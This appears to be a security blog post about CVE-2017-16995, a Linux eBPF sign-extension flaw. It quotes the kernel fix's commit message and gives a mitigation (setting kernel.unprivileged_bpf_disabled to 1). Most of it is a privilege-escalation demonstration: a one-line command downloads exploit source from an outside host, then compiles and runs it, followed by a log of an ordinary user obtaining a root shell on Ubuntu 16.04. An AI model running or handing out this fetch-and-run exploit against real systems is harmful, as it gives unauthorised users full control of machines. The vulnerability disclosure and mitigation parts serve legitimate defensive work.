bpf: fix incorrect sign extension in check_alu_op()
Distinguish between
BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit)
and BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit);
only perform sign extension in the first case.

Starting with v4.14, this is exploitable by unprivileged users as long as
the unprivileged_bpf_disabled sysctl isn't set.

Debian assigned CVE-2017-16995 for this issue.

v3:
 - add CVE number (Ben Hutchings)

Fixes: 484611357c19 ("bpf: allow access into map value arrays")
Signed-off-by: Jann Horn <[email protected]>
Acked-by: Edward Cree <[email protected]>
Signed-off-by: Alexei Starovoitov <[email protected]>
Signed-off-by: Daniel Borkmann <[email protected]>

➜  ~ id

uid=1002(test) gid=1002(test) groups=1002(test)

➜  ~ lsb_release -a                  

Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial

➜  ~ uname -a

Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

➜  ~ 

设置参数“kernel.unprivileged_bpf_disabled = 1”通过限制对bpf（2）调用的访问来防止这种特权升级
___________________________________________________________________________________________________________________________

root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

______________________________________________________________________________________________________________________________

wget -P /tmp http://cyseclabs.com/exploits/upstream44.c &&cd /tmp && gcc -o pwned  upstream44.c && chmod 777 pwned && ./pwned 

sha256sum b71b2317c2f2461f0c25a650c9c6a4dd2399e5d7f800ec19822ba720a574030d

sha1sum d91b5dd8b074dd33bbb6994ab21af4e6279c9098

md5sum f38c046a22fd85e3aab3aa7ea4ef21a4

$ id
uid=1002(test) gid=1002(test) groups=1002(test)

$ wget -P /tmp http://cyseclabs.com/exploits/upstream44.c &&cd /tmp && gcc -o pwned  upstream44.c && chmod 777 pwned && ./pwned
--2018-03-16 17:08:09--  http://cyseclabs.com/exploits/upstream44.c
Resolving cyseclabs.com (cyseclabs.com)... 58.96.20.9
Connecting to cyseclabs.com (cyseclabs.com)|58.96.20.9|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5776 (5.6K) [application/octet-stream]
Saving to: ‘/tmp/upstream44.c.1’

upstream44.c.1                                       100%[==========================================================================>]   5.64k  --.-KB/s    in 0s
2018-03-16 17:08:10 (186 MB/s) - ‘/tmp/upstream44.c’ saved [5776/5776]

task_struct = ffff880065821980
uidptr = ffff880034edbe04
spawning root shell

root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0